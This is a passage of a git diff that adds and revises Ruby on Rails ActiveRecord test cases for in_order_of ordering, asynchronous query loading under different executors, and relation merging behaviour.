+  end
+
+  def test_in_order_of_with_enums_keys
+    Book.destroy_all
+    Book.create!(status: :proposed)
+    Book.create!(status: :written)
+    Book.create!(status: :published)
+
+    order = [Book.statuses[:written], Book.statuses[:published], Book.statuses[:proposed]]
+    books = Book.in_order_of(:status, order)
+
+    assert_equal(order, books.map { |book| Book.statuses[book.status] })
+  end
+
+  def test_in_order_of_expression
+    order = [3, 4, 1]
+    posts = Post.in_order_of(Arel.sql("id * 2"), order.map { |id| id * 2 })
+
+    assert_equal(order, posts.map(&:id))
+  end
+
+  def test_in_order_of_with_string_column
+    Book.destroy_all
+    Book.create!(format: "paperback")
+    Book.create!(format: "ebook")
+    Book.create!(format: "hardcover")
+
+    order = %w[hardcover paperback ebook]
+    books = Book.in_order_of(:format, order)
+    assert_equal(order, books.map(&:format))
+
+    books = Book.in_order_of("format", order)
+    assert_equal(order, books.map(&:format))
+  end
+
+  def test_in_order_of_after_regular_order
+    order = [3, 4, 1]
+    posts = Post.where(type: "Post").order(:type).in_order_of(:id, order)
+    assert_equal(order, posts.map(&:id))
+
+    posts = Post.where(type: "Post").order(:type).in_order_of("id", order)
+    assert_equal(order, posts.map(&:id))
+  end
+
+  def test_in_order_of_with_nil
+    Book.destroy_all
+    Book.create!(format: "paperback")
+    Book.create!(format: "ebook")
+    Book.create!(format: nil)
+
+    order = ["ebook", nil, "paperback"]
+    books = Book.in_order_of(:format, order)
+    assert_equal(order, books.map(&:format))
+
+    books = Book.in_order_of("format", order)
+    assert_equal(order, books.map(&:format))
+  end
+
+  def test_in_order_of_with_associations
+    Author.destroy_all
+    Book.destroy_all
+    john = Author.create(name: "John")
+    bob = Author.create(name: "Bob")
+    anna = Author.create(name: "Anna")
+
+    john.books.create
+    bob.books.create
+    anna.books.create
+
+    order = ["Bob", "Anna", "John"]
+    books = Book.joins(:author).in_order_of("authors.name", order)
+    assert_equal(order, books.map { |book| book.author.name })
+
+    books = Book.joins(:author).in_order_of(:"authors.name", order)
+    assert_equal(order, books.map { |book| book.author.name })
+  end
+
+  def test_in_order_of_with_filter_false
+    order = [3, 4, 1]
+    posts = Post.in_order_of(:id, order, filter: false)
+
+    assert_equal(order, posts.limit(3).map(&:id))
+    assert_equal(11, posts.count)
+  end
+end
diff --git a/activerecord/test/cases/relation/load_async_test.rb b/activerecord/test/cases/relation/load_async_test.rb
new file mode 100644
index 0000000000000..a360141990c99
--- /dev/null
+++ b/activerecord/test/cases/relation/load_async_test.rb
@@ -0,0 +1,613 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/category"
+require "models/comment"
+require "models/other_dog"
+require "concurrent/atomic/count_down_latch"
+
+module ActiveRecord
+  class LoadAsyncTest < ActiveRecord::TestCase
+    include WaitForAsyncTestHelper
+
+    fixtures :posts, :comments, :categories, :categories_posts
+
+    def test_scheduled?
+      deferred_posts = Post.where(author_id: 1).load_async
+      if in_memory_db?
+        assert_not_predicate deferred_posts, :scheduled?
+      else
+        assert_predicate deferred_posts, :scheduled?
+      end
+      assert_predicate deferred_posts, :loaded?
+      deferred_posts.to_a
+      assert_not_predicate deferred_posts, :scheduled?
+    end
+
+    def test_null_scheduled?
+      deferred_null_posts = Post.none.load_async
+      if in_memory_db?
+        assert_not_predicate deferred_null_posts, :scheduled?
+      else
+        assert_predicate deferred_null_posts, :scheduled?
+      end
+      assert_predicate deferred_null_posts, :loaded?
+      deferred_null_posts.to_a
+      assert_not_predicate deferred_null_posts, :scheduled?
+    end
+
+    def test_reset
+      deferred_posts = Post.where(author_id: 1).load_async
+      if in_memory_db?
+        assert_not_predicate deferred_posts, :scheduled?
+      else
+        assert_predicate deferred_posts, :scheduled?
+      end
+      deferred_posts.reset
+      assert_not_predicate deferred_posts, :scheduled?
+    end
+
+    unless in_memory_db?
+      def test_load_async_has_many_association
+        post = Post.first
+
+        deferred_comments = post.comments.load_async
+        assert_predicate deferred_comments, :scheduled?
+
+        events = []
+        callback = -> (event) do
+          events << event unless event.payload[:name] == "SCHEMA"
+        end
+
+        wait_for_async_query
+        ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+          deferred_comments.to_a
+        end
+
+        assert_equal [["Comment Load", true]], events.map { |e| [e.payload[:name], e.payload[:async]] }
+        assert_not_predicate post.comments, :loaded?
+      end
+
+      def test_load_async_has_many_through_association
+        post = Post.first
+
+        deferred_categories = post.scategories.load_async
+        assert_predicate deferred_categories, :scheduled?
+
+        events = []
+        callback = -> (event) do
+          events << event unless event.payload[:name] == "SCHEMA"
+        end
+
+        wait_for_async_query
+        ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+          deferred_categories.to_a
+        end
+
+        assert_equal [["Category Load", true]], events.map { |e| [e.payload[:name], e.payload[:async]] }
+        assert_not_predicate post.scategories, :loaded?
+      end
+    end
+
+    def test_notification_forwarding
+      expected_records = Post.where(author_id: 1).to_a
+
+      status = {}
+
+      subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+        if event.payload[:name] == "Post Load"
+          status[:executed] = true
+          status[:async] = event.payload[:async]
+          status[:thread_id] = Thread.current.object_id
+          status[:lock_wait] = event.payload[:lock_wait]
+        end
+      end
+
+      deferred_posts = Post.where(author_id: 1).load_async
+      wait_for_async_query
+
+      assert_equal expected_records, deferred_posts.to_a
+      assert_equal Post.lease_connection.supports_concurrent_connections?, status[:async]
+      assert_equal Thread.current.object_id, status[:thread_id]
+      if Post.lease_connection.supports_concurrent_connections?
+        assert_instance_of Float, status[:lock_wait]
+      else
+        assert_nil status[:lock_wait]
+      end
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+
+    def test_simple_query
+      expected_records = Post.where(author_id: 1).to_a
+
+      status = {}
+
+      subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+        if event.payload[:name] == "Post Load"
+          status[:executed] = true
+          status[:async] = event.payload[:async]
+        end
+      end
+
+      deferred_posts = Post.where(author_id: 1).load_async
+      wait_for_async_query
+
+      assert_equal expected_records, deferred_posts.to_a
+      assert_equal Post.lease_connection.supports_concurrent_connections?, status[:async]
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+
+    def test_load_async_from_transaction
+      posts = nil
+      Post.transaction do
+        Post.where(author_id: 1).update_all(title: "In Transaction")
+        posts = Post.where(author_id: 1).load_async
+        if in_memory_db?
+          assert_not_predicate posts, :scheduled?
+        else
+          assert_predicate posts, :scheduled?
+        end
+        assert_predicate posts, :loaded?
+        raise ActiveRecord::Rollback
+      end
+
+      assert_not_nil posts
+      assert_equal ["In Transaction"], posts.map(&:title).uniq
+    end
+
+    def test_load_async_instrumentation_is_thread_safe
+      skip unless ActiveRecord::Base.connection.async_enabled?
+
+      begin
+        latch1 = Concurrent::CountDownLatch.new
+        latch2 = Concurrent::CountDownLatch.new
+
+        old_log = ActiveRecord::Base.connection.method(:log)
+        ActiveRecord::Base.connection.singleton_class.undef_method(:log)
+
+        ActiveRecord::Base.connection.singleton_class.define_method(:log) do |intent, *args, **kwargs, &block|
+          unless intent.ran_async
+            return old_log.call(intent, *args, **kwargs, &block)
+          end
+
+          latch1.count_down
+          latch2.wait
+          old_log.call(intent, *args, **kwargs, &block)
+        end
+
+        Post.async_count
+        latch1.wait
+
+        notification_called = false
+        ActiveSupport::Notifications.subscribed(->(*) { notification_called = true }, "sql.active_record") do
+          Post.count
+        end
+
+        assert(notification_called)
+      ensure
+        latch2.count_down
+        ActiveRecord::Base.connection.singleton_class.undef_method(:log)
+        ActiveRecord::Base.connection.singleton_class.define_method(:log, old_log)
+      end
+    end
+
+    def test_eager_loading_query
+      expected_records = Post.where(author_id: 1).eager_load(:comments).to_a
+
+      status = {}
+
+      subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+        if event.payload[:name] == "Post Eager Load"
+          status[:executed] = true
+          status[:async] = event.payload[:async]
+        end
+      end
+
+      deferred_posts = Post.where(author_id: 1).eager_load(:comments).load_async
+      wait_for_async_query
+
+      if in_memory_db?
+        assert_not_predicate deferred_posts, :scheduled?
+      else
+        assert_predicate deferred_posts, :scheduled?
+      end
+
+      assert_equal expected_records, deferred_posts.to_a
+      assert_queries_count(0) do
+        deferred_posts.each(&:comments)
+      end
+      assert_equal Post.lease_connection.supports_concurrent_connections?, status[:async]
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+
+    def test_contradiction
+      assert_queries_count(0) do
+        assert_equal [], Post.where(id: []).load_async.to_a
+      end
+
+      Post.where(id: []).load_async.reset
+    end
+
+    def test_pluck
+      titles = Post.where(author_id: 1).pluck(:title)
+      assert_equal titles, Post.where(author_id: 1).load_async.pluck(:title)
+    end
+
+    def test_count
+      count = Post.where(author_id: 1).count
+      assert_equal count, Post.where(author_id: 1).load_async.count
+    end
+
+    def test_size
+      expected_size = Post.where(author_id: 1).size
+
+      deferred_posts = Post.where(author_id: 1).load_async
+
+      assert_equal expected_size, deferred_posts.size
+      assert_predicate deferred_posts, :loaded?
+    end
+
+    def test_empty?
+      deferred_posts = Post.where(author_id: 1).load_async
+
+      assert_equal false, deferred_posts.empty?
+      assert_predicate deferred_posts, :loaded?
+    end
+
+    def test_load_async_pluck_with_query_cache
+      titles = Post.where(author_id: 1).pluck(:title)
+      Post.cache do
+        assert_equal titles, Post.where(author_id: 1).load_async.pluck(:title)
+      end
+    end
+
+    def test_load_async_count_with_query_cache
+      count = Post.where(author_id: 1).count
+      Post.cache do
+        assert_equal count, Post.where(author_id: 1).load_async.count
+      end
+    end
+  end
+
+  class LoadAsyncNullExecutorTest < ActiveRecord::TestCase
+    unless in_memory_db?
+      fixtures :posts, :comments
+
+      def setup
+        @old_config = ActiveRecord.async_query_executor
+        ActiveRecord.async_query_executor = nil
+      end
+
+      def teardown
+        ActiveRecord.async_query_executor = @old_config
+      end
+
+      def test_scheduled?
+        deferred_posts = Post.where(author_id: 1).load_async
+        assert_not_predicate deferred_posts, :scheduled?
+        assert_predicate deferred_posts, :loaded?
+        deferred_posts.to_a
+        assert_not_predicate deferred_posts, :scheduled?
+      end
+
+      def test_reset
+        deferred_posts = Post.where(author_id: 1).load_async
+        assert_not_predicate deferred_posts, :scheduled?
+        deferred_posts.reset
+        assert_not_predicate deferred_posts, :scheduled?
+      end
+
+      def test_simple_query
+        expected_records = Post.where(author_id: 1).to_a
+
+        status = {}
+
+        subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+          if event.payload[:name] == "Post Load"
+            status[:executed] = true
+            status[:async] = event.payload[:async]
+          end
+        end
+
+        deferred_posts = Post.where(author_id: 1).load_async
+
+        assert_equal expected_records, deferred_posts.to_a
+        assert_not_equal Post.lease_connection.supports_concurrent_connections?, status[:async]
+      ensure
+        ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+      end
+
+      def test_load_async_from_transaction
+        posts = nil
+        Post.transaction do
+          Post.where(author_id: 1).update_all(title: "In Transaction")
+          posts = Post.where(author_id: 1).load_async
+          assert_not_predicate posts, :scheduled?
+          assert_predicate posts, :loaded?
+          raise ActiveRecord::Rollback
+        end
+
+        assert_not_nil posts
+        assert_equal ["In Transaction"], posts.map(&:title).uniq
+      end
+
+      def test_eager_loading_query
+        expected_records = Post.where(author_id: 1).eager_load(:comments).to_a
+
+        status = {}
+
+        subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+          if event.payload[:name] == "SQL"
+            status[:executed] = true
+            status[:async] = event.payload[:async]
+          end
+        end
+
+        deferred_posts = Post.where(author_id: 1).eager_load(:comments).load_async
+
+        assert_not_predicate deferred_posts, :scheduled?
+
+        assert_equal expected_records, deferred_posts.to_a
+        assert_queries_count(0) do
+          deferred_posts.each(&:comments)
+        end
+
+        assert_predicate Post.lease_connection, :supports_concurrent_connections?
+        assert_not status[:async], "Expected status[:async] to be false with NullExecutor"
+      ensure
+        ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+      end
+
+      def test_contradiction
+        assert_queries_count(0) do
+          assert_equal [], Post.where(id: []).load_async.to_a
+        end
+
+        Post.where(id: []).load_async.reset
+      end
+
+      def test_pluck
+        titles = Post.where(author_id: 1).pluck(:title)
+        assert_equal titles, Post.where(author_id: 1).load_async.pluck(:title)
+      end
+
+      def test_size
+        expected_size = Post.where(author_id: 1).size
+
+        deferred_posts = Post.where(author_id: 1).load_async
+
+        assert_equal expected_size, deferred_posts.size
+        assert_predicate deferred_posts, :loaded?
+      end
+
+      def test_empty?
+        deferred_posts = Post.where(author_id: 1).load_async
+
+        assert_equal false, deferred_posts.empty?
+        assert_predicate deferred_posts, :loaded?
+      end
+    end
+  end
+
+  class LoadAsyncMultiThreadPoolExecutorTest < ActiveRecord::TestCase
+    unless in_memory_db?
+      include WaitForAsyncTestHelper
+
+      fixtures :posts, :comments
+
+      def setup
+        @old_config = ActiveRecord.async_query_executor
+        ActiveRecord.async_query_executor = :multi_thread_pool
+
+        config_hash1 = ActiveRecord::Base.connection_pool.db_config.configuration_hash.merge(min_threads: 0, max_threads: 10)
+        config_hash2 = ARUnit2Model.connection_pool.db_config.configuration_hash.merge(min_threads: 0, max_threads: 10)
+
+        ActiveRecord::Base.establish_connection(config_hash1)
+        ARUnit2Model.establish_connection(config_hash2)
+      end
+
+      def teardown
+        ActiveRecord.async_query_executor = @old_config
+        clean_up_connection_handler
+        ActiveRecord::Base.establish_connection(:arunit)
+        ARUnit2Model.establish_connection(:arunit2)
+      end
+
+      def test_async_query_executor_and_configuration
+        assert_equal :multi_thread_pool, ActiveRecord.async_query_executor
+
+        assert_equal 0, ActiveRecord::Base.connection_pool.db_config.configuration_hash[:min_threads]
+        assert_equal 0, ARUnit2Model.connection_pool.db_config.configuration_hash[:min_threads]
+
+        assert_equal 10, ActiveRecord::Base.connection_pool.db_config.configuration_hash[:max_threads]
+        assert_equal 10, ARUnit2Model.connection_pool.db_config.configuration_hash[:max_threads]
+      end
+
+      def test_scheduled?
+        deferred_posts = Post.where(author_id: 1).load_async
+        assert_predicate deferred_posts, :scheduled?
+        assert_predicate deferred_posts, :loaded?
+        deferred_posts.to_a
+        assert_not_predicate deferred_posts, :scheduled?
+      end
+
+      def test_reset
+        deferred_posts = Post.where(author_id: 1).load_async
+        assert_predicate deferred_posts, :scheduled?
+        deferred_posts.reset
+        assert_not_predicate deferred_posts, :scheduled?
+      end
+
+      def test_simple_query
+        expected_records = Post.where(author_id: 1).to_a
+
+        status = {}
+        subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+          if event.payload[:name] == "Post Load"
+            status[:executed] = true
+            status[:async] = event.payload[:async]
+          end
+        end
+
+        deferred_posts = Post.where(author_id: 1).load_async
+        wait_for_async_query
+
+        assert_equal expected_records, deferred_posts.to_a
+        assert_equal Post.lease_connection.supports_concurrent_connections?, status[:async]
+      ensure
+        ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+      end
+
+      def test_load_async_from_transaction
+        posts = nil
+        Post.transaction do
+          Post.where(author_id: 1).update_all(title: "In Transaction")
+          posts = Post.where(author_id: 1).load_async
+          assert_predicate posts, :scheduled?
+          assert_predicate posts, :loaded?
+          raise ActiveRecord::Rollback
+        end
+
+        assert_not_nil posts
+        assert_equal ["In Transaction"], posts.map(&:title).uniq
+      end
+
+      def test_eager_loading_query
+        expected_records = Post.where(author_id: 1).eager_load(:comments).to_a
+
+        status = {}
+        subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+          if event.payload[:name] == "Post Eager Load"
+            status[:executed] = true
+            status[:async] = event.payload[:async]
+          end
+        end
+
+        deferred_posts = Post.where(author_id: 1).eager_load(:comments).load_async
+        wait_for_async_query
+
+        assert_predicate deferred_posts, :scheduled?
+
+        assert_equal expected_records, deferred_posts.to_a
+        assert_queries_count(0) do
+          deferred_posts.each(&:comments)
+        end
+        assert_equal Post.lease_connection.supports_concurrent_connections?, status[:async]
+      ensure
+        ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+      end
+
+      def test_contradiction
+        assert_queries_count(0) do
+          assert_equal [], Post.where(id: []).load_async.to_a
+        end
+
+        Post.where(id: []).load_async.reset
+      end
+
+      def test_pluck
+        titles = Post.where(author_id: 1).pluck(:title)
+        assert_equal titles, Post.where(author_id: 1).load_async.pluck(:title)
+      end
+
+      def test_size
+        expected_size = Post.where(author_id: 1).size
+
+        deferred_posts = Post.where(author_id: 1).load_async
+
+        assert_equal expected_size, deferred_posts.size
+        assert_predicate deferred_posts, :loaded?
+      end
+
+      def test_empty?
+        deferred_posts = Post.where(author_id: 1).load_async
+
+        assert_equal false, deferred_posts.empty?
+        assert_predicate deferred_posts, :loaded?
+      end
+    end
+  end
+
+  class LoadAsyncMixedThreadPoolExecutorTest < ActiveRecord::TestCase
+    unless in_memory_db?
+      include WaitForAsyncTestHelper
+
+      fixtures :posts, :comments, :other_dogs
+
+      def setup
+        @previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+        @old_config = ActiveRecord.async_query_executor
+        ActiveRecord.async_query_executor = :multi_thread_pool
+        config_hash1 = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").configuration_hash
+        config_hash2 = ActiveRecord::Base.configurations.configs_for(env_name: "arunit2", name: "primary").configuration_hash
+        config = {
+          "default_env" => {
+            "animals" => config_hash2.merge({ min_threads: 0, max_threads: 0 }),
+            "primary" => config_hash1.merge({ min_threads: 0, max_threads: 10 })
+          }
+        }
+        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+        ActiveRecord::Base.establish_connection(:primary)
+        ARUnit2Model.establish_connection(:animals)
+      end
+
+      def teardown
+        ENV["RAILS_ENV"] = @previous_env
+        ActiveRecord::Base.configurations = @prev_configs
+        ActiveRecord.async_query_executor = @old_config
+        clean_up_connection_handler
+      end
+
+      def test_scheduled?
+        deferred_posts = Post.where(author_id: 1).load_async
+        assert_predicate deferred_posts, :scheduled?
+        assert_predicate deferred_posts, :loaded?
+        deferred_posts.to_a
+        assert_not_predicate deferred_posts, :scheduled?
+
+        deferred_dogs = OtherDog.where(id: 1).load_async
+        assert_not_predicate deferred_dogs, :scheduled?
+        assert_predicate deferred_dogs, :loaded?
+      end
+
+      def test_simple_query
+        expected_records = Post.where(author_id: 1).to_a
+        expected_dogs = OtherDog.where(id: 1).to_a
+
+        status = {}
+        dog_status = {}
+
+        subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |event|
+          if event.payload[:name] == "Post Load"
+            status[:executed] = true
+            status[:async] = event.payload[:async]
+          end
+
+          if event.payload[:name] == "OtherDog Load"
+            dog_status[:executed] = true
+            dog_status[:async] = event.payload[:async]
+          end
+        end
+
+        deferred_posts = Post.where(author_id: 1).load_async
+        deferred_dogs = OtherDog.where(id: 1).load_async
+
+        wait_for_async_query
+        wait_for_async_query
+
+        assert_equal expected_records, deferred_posts.to_a
+        assert_equal expected_dogs, deferred_dogs.to_a
+
+        assert_equal Post.lease_connection.async_enabled?, status[:async]
+        assert_equal OtherDog.lease_connection.async_enabled?, dog_status[:async]
+      ensure
+        ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/merging_test.rb b/activerecord/test/cases/relation/merging_test.rb
index 278dac8171f1b..302ee1a87f3e8 100644
--- a/activerecord/test/cases/relation/merging_test.rb
+++ b/activerecord/test/cases/relation/merging_test.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/author"
+require "models/categorization"
 require "models/comment"
 require "models/developer"
 require "models/computer"
@@ -8,7 +11,156 @@
 require "models/rating"
 
 class RelationMergingTest < ActiveRecord::TestCase
-  fixtures :developers, :comments, :authors, :posts
+  fixtures :developers, :comments, :authors, :author_addresses, :posts
+
+  def test_merge_in_clause
+    david, mary, bob = authors = authors(:david, :mary, :bob)
+
+    david_and_mary = Author.where(id: [david, mary]).order(:id)
+    mary_and_bob   = Author.where(id: [mary, bob]).order(:id)
+
+    assert_equal [david, mary], david_and_mary
+    assert_equal [mary, bob],   mary_and_bob
+
+    assert_equal [mary], david_and_mary.merge(Author.where(id: mary))
+    assert_equal [mary], david_and_mary.merge(Author.rewhere(id: mary))
+
+    assert_equal [bob],  david_and_mary.merge(Author.where(id: bob))
+    assert_equal [bob],  david_and_mary.merge(Author.rewhere(id: bob))
+
+    assert_equal [david, bob], mary_and_bob.merge(Author.where(id: [david, bob]))
+
+    assert_equal [mary, bob], david_and_mary.merge(mary_and_bob)
+    assert_equal [mary], david_and_mary.and(mary_and_bob)
+    assert_equal authors, david_and_mary.or(mary_and_bob)
+
+    assert_equal [david, mary], mary_and_bob.merge(david_and_mary)
+    assert_equal [mary], david_and_mary.and(mary_and_bob)
+    assert_equal authors, david_and_mary.or(mary_and_bob)
+
+    david_and_bob = Author.where(id: david).or(Author.where(name: "Bob"))
+
+    assert_equal [david], david_and_mary.merge(david_and_bob)
+    assert_equal [david], david_and_mary.and(david_and_bob)
+    assert_equal authors, david_and_mary.or(david_and_bob)
+  end
+
+  def test_merge_between_clause
+    david, mary, bob = authors = authors(:david, :mary, :bob)
+
+    david_and_mary = Author.where(id: david.id..mary.id).order(:id)
+    mary_and_bob   = Author.where(id: mary.id..bob.id).order(:id)
+
+    assert_equal [david, mary], david_and_mary
+    assert_equal [mary, bob],   mary_and_bob
+
+    assert_equal [mary], david_and_mary.merge(Author.where(id: mary))
+    assert_equal [mary], david_and_mary.merge(Author.rewhere(id: mary))
+
+    assert_equal [bob], david_and_mary.merge(Author.where(id: bob))
+    assert_equal [bob],  david_and_mary.merge(Author.rewhere(id: bob))
+
+    assert_equal [david, bob], mary_and_bob.merge(Author.where(id: [david, bob]))
+
+    assert_equal [mary, bob], david_and_mary.merge(mary_and_bob)
+    assert_equal [mary], david_and_mary.and(mary_and_bob)
+    assert_equal authors, david_and_mary.or(mary_and_bob)
+
+    assert_equal [david, mary], mary_and_bob.merge(david_and_mary)
+    assert_equal [mary], david_and_mary.and(mary_and_bob)
+    assert_equal authors, david_and_mary.or(mary_and_bob)
+
+    david_and_bob = Author.where(id: david).or(Author.where(name: "Bob"))
+
+    assert_equal [david], david_and_mary.merge(david_and_bob)
+    assert_equal [david], david_and_mary.and(david_and_bob)
+    assert_equal authors, david_and_mary.or(david_and_bob)
+  end
+
+  def test_merge_or_clause
+    david, mary, bob = authors = authors(:david, :mary, :bob)
+
+    david_and_mary = Author.where(id: david).or(Author.where(id: mary)).order(:id)
+    mary_and_bob   = Author.where(id: mary).or(Author.where(id: bob)).order(:id)
+
+    assert_equal [david, mary], david_and_mary
+    assert_equal [mary, bob],   mary_and_bob
+
+    assert_equal [mary], david_and_mary.merge(Author.where(id: mary))
+    assert_equal [mary], david_and_mary.merge(Author.rewhere(id: mary))
+
+    assert_equal [bob], david_and_mary.merge(Author.where(id: bob))
+    assert_equal [bob],  david_and_mary.merge(Author.rewhere(id: bob))
+
+    assert_equal [david, bob], mary_and_bob.merge(Author.where(id: [david, bob]))
+
+    assert_equal [mary, bob], david_and_mary.merge(mary_and_bob)
+    assert_equal [mary], david_and_mary.and(mary_and_bob)
+    assert_equal authors, david_and_mary.or(mary_and_bob)
+
+    assert_equal [david, mary], mary_and_bob.merge(david_and_mary)
+    assert_equal [mary], david_and_mary.and(mary_and_bob)
+    assert_equal authors, david_and_mary.or(mary_and_bob)
+
+    david_and_bob = Author.where(id: david).or(Author.where(name: "Bob"))
+
+    assert_equal [david], david_and_mary.merge(david_and_bob)
+    assert_equal [david], david_and_mary.and(david_and_bob)
+    assert_equal authors, david_and_mary.or(david_and_bob)
+  end
+
+  def test_merge_not_in_clause
+    david, mary, bob = authors(:david, :mary, :bob)
+
+    non_mary_and_bob = Author.where.not(id: [mary, bob])
+
+    assert_equal [david], non_mary_and_bob
+
+    assert_equal [david], Author.where(id: david).merge(non_mary_and_bob)
+
+    assert_equal [david], Author.where(id: mary).merge(non_mary_and_bob)
+  end
+
+  def test_merge_not_range_clause
+    david, mary, bob = authors(:david, :mary, :bob)
+
+    less_than_bob = Author.where.not(id: bob.id..Float::INFINITY).order(:id)
+
+    assert_equal [david, mary], less_than_bob
+
+    assert_equal [david, mary], Author.where(id: david).merge(less_than_bob)
+
+    assert_equal [david, mary], Author.where(id: mary).merge(less_than_bob)
+  end
+
+  def test_merge_doesnt_duplicate_same_clauses
+    david, mary, bob = authors(:david, :mary, :bob)
+
+    non_mary_and_bob = Author.where.not(id: [mary, bob])
+
+    author_id = quote_table_name("authors.id")
+    assert_queries_match(/WHERE #{Regexp.escape(author_id)} NOT IN \((\?|\W?\w?\d), \g<1>\)\z/) do
+      assert_equal [david], non_mary_and_bob.merge(non_mary_and_bob)
+    end
+
+    only_david = Author.where("#{author_id} IN (?)", david)
+
+    matcher = if Author.lease_connection.prepared_statements
+      if current_adapter?(:PostgreSQLAdapter)
+        /WHERE \(#{Regexp.escape(author_id)} IN \(\$1\)\)\z/
+      else
+        /WHERE \(#{Regexp.escape(author_id)} IN \(\?\)\)\z/
+      end
+    elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      /WHERE \(#{Regexp.escape(author_id)} IN \('1'\)\)\z/
+    else
+      /WHERE \(#{Regexp.escape(author_id)} IN \(1\)\)\z/
+    end
+
+    assert_queries_match(matcher) do
+      assert_equal [david], only_david.merge(only_david)
+    end
+  end
 
   def test_relation_merging
     devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order("id ASC").where("id < 3"))
@@ -21,25 +173,27 @@ def test_relation_merging
   def test_relation_to_sql
     post = Post.first
     sql = post.comments.to_sql
-    assert_match(/.?post_id.? = #{post.id}\Z/i, sql)
+    assert_match(/.?post_id.? = #{post.id}\z/i, sql)
   end
 
   def test_relation_merging_with_arel_equalities_keeps_last_equality
-    devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
-      Developer.where(Developer.arel_table[:salary].eq(9000))
-    )
+    salary_attr = Developer.arel_table[:salary]
+
+    devs = Developer.where(salary_attr.eq(80000)).merge(Developer.where(salary_attr.eq(9000)))
+    assert_equal [developers(:poor_jamis)], devs.to_a
+
+    devs = Developer.where(salary_attr.eq(80000)).rewhere(salary_attr.eq(9000))
     assert_equal [developers(:poor_jamis)], devs.to_a
   end
 
   def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
     salary_attr = Developer.arel_table[:salary]
-    devs = Developer.where(
-      Arel::Nodes::NamedFunction.new("abs", [salary_attr]).eq(80000)
-    ).merge(
-      Developer.where(
-        Arel::Nodes::NamedFunction.new("abs", [salary_attr]).eq(9000)
-      )
-    )
+    abs_salary = Arel::Nodes::NamedFunction.new("abs", [salary_attr])
+
+    devs = Developer.where(abs_salary.eq(80000)).merge(Developer.where(abs_salary.eq(9000)))
+    assert_equal [developers(:poor_jamis)], devs.to_a
+
+    devs = Developer.where(abs_salary.eq(80000)).rewhere(abs_salary.eq(9000))
     assert_equal [developers(:poor_jamis)], devs.to_a
   end
 
@@ -56,12 +210,12 @@ def test_relation_merging_with_eager_load
 
   def test_relation_merging_with_locks
     devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
-    assert devs.locked.present?
+    assert_predicate devs, :locked?
   end
 
   def test_relation_merging_with_preload
     [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
-      assert_queries(2) { assert posts.first.author }
+      assert_queries_count(2) { assert posts.first.author }
     end
   end
 
@@ -70,8 +224,18 @@ def test_relation_merging_with_joins
     assert_equal 1, comments.count
   end
 
+  def test_relation_merging_with_left_outer_joins
+    comments = Comment.joins(:post).where(body: "Thank you for the welcome").merge(Post.left_outer_joins(:author).where(body: "Such a lovely day"))
+
+    assert_equal 1, comments.count
+  end
+
+  def test_relation_merging_with_skip_query_cache
+    assert_equal true, Post.all.merge(Post.all.skip_query_cache!).skip_query_cache_value
+  end
+
   def test_relation_merging_with_association
-    assert_queries(2) do  # one for loading post, and another one merged query
+    assert_queries_count(2) do  # one for loading post, and another one merged query
       post = Post.where(body: "Such a lovely day").first
       comments = Comment.where(body: "Thank you for the welcome").merge(post.comments)
       assert_equal 1, comments.count
@@ -79,13 +243,11 @@ def test_relation_merging_with_association
   end
 
   test "merge collapses wheres from the LHS only" do
-    left  = Post.where(title: "omg").where(comments_count: 1)
+    left = Post.where(title: "omg").where(comments_count: 1)
     right = Post.where(title: "wtf").where(title: "bbq")
 
-    expected = [left.bound_attributes[1]] + right.bound_attributes
-    merged   = left.merge(right)
+    merged = left.merge(right)
 
-    assert_equal expected, merged.bound_attributes
     assert_not_includes merged.to_sql, "omg"
     assert_includes merged.to_sql, "wtf"
     assert_includes merged.to_sql, "bbq"
@@ -107,14 +269,57 @@ def test_merging_compares_symbols_and_strings_as_equal
 
   def test_merging_with_from_clause
     relation = Post.all
-    assert relation.from_clause.empty?
+    assert_empty relation.from_clause
     relation = relation.merge(Post.from("posts"))
-    refute relation.from_clause.empty?
+    assert_not_empty relation.from_clause
+  end
+
+  def test_merging_with_from_clause_on_different_class
+    assert Comment.joins(:post).merge(Post.from("posts")).first
+  end
+
+  def test_merging_with_order_with_binds
+    relation = Post.all.merge(Post.order([Arel.sql("title LIKE ?"), "%suffix"]))
+    assert_equal ["title LIKE '%suffix'"], relation.order_values
+  end
+
+  def test_merging_with_order_without_binds
+    relation = Post.all.merge(Post.order(Arel.sql("title LIKE '%?'")))
+    assert_equal ["title LIKE '%?'"], relation.order_values
+  end
+
+  def test_merging_annotations_respects_merge_order
+    assert_queries_match(%r{/\* foo \*/ /\* bar \*/}) do
+      Post.annotate("foo").merge(Post.annotate("bar")).first
+    end
